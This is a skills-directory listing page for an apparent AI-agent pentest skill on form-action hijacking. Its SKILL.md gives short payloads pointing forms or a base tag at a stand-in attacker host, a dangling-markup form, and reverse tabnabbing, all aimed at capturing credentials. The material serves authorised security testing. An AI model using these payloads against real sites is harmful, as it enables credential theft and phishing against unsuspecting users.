Skip to content
Back to skills

Form Action Hijack

ASecurity

Form-action hijacking and dangling-markup form injection — injecting or overriding a form's action/target (or a base tag) so credentials/data submit to an attacker, including reverse-tabnabbing and target hijacking. Tier 1. Payloads: payloads/client-side.md. Use when markup injection or a controllable base/action is present on a form page.

  • 16 stars
  • 0 votes
  • 0 copies
  • 2 views
  • Added November 17, 2026
securityrustbackend

Works with

  • cli
  • mcp

Security analysis

A100/100

Scanned November 17, 2026

npx -y skills add AnandJogawade/Zazy-Pentest-Plugin-for-Claude --skill form-action-hijack --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Form Action Hijack?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Form Action Hijack
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/anandjogawade-form-action-hijack/badge)](https://www.skillsdirectory.com/skills/anandjogawade-form-action-hijack)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: form-action-hijack
description: "Form-action hijacking and dangling-markup form injection — injecting or overriding a form's action/target (or a base tag) so credentials/data submit to an attacker, including reverse-tabnabbing and target hijacking. Tier 1. Payloads: payloads/client-side.md. Use when markup injection or a controllable base/action is present on a form page."
---

# Form-Action Hijacking

Redirect where a form submits — stealing credentials or data entered by the victim on a trusted page.

## Trigger phrases
`form action hijack, base tag injection, form hijacking, dangling markup form, action override`

## Method
1. **Injected/overridden action:** if you can inject markup before a form or control its `action`, point it at your server (`<form action="//attacker">`) so submitted credentials/data exfiltrate.
2. **`<base>` injection:** inject `<base href="//attacker/">` so relative form actions/resources resolve to your host.
3. **Dangling-markup form:** unterminated `<form action="//attacker/?` captures subsequent fields.
4. **Reverse tabnabbing:** `target=_blank` without `rel=noopener` → opened page rewrites `window.opener.location` to a phishing page.
5. Confirm captured submission on your server.

## Escalation
Credential theft on a trusted origin, data exfiltration, phishing.

## Backend & tooling
Preferred Kali path or headless browser for client-side execution/evidence; if a Burp MCP is present, proxy traffic for visibility and send PoCs to Repeater (see `zazy-orchestrator`).

## Verification (background, before reporting)
Reproduce in a real browser / second context and confirm impact before marking CONFIRMED; use OAST for blind cases. Report true positives only.

## Evidence
The injected action/base/markup and proof of captured form data on the attacker side.

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.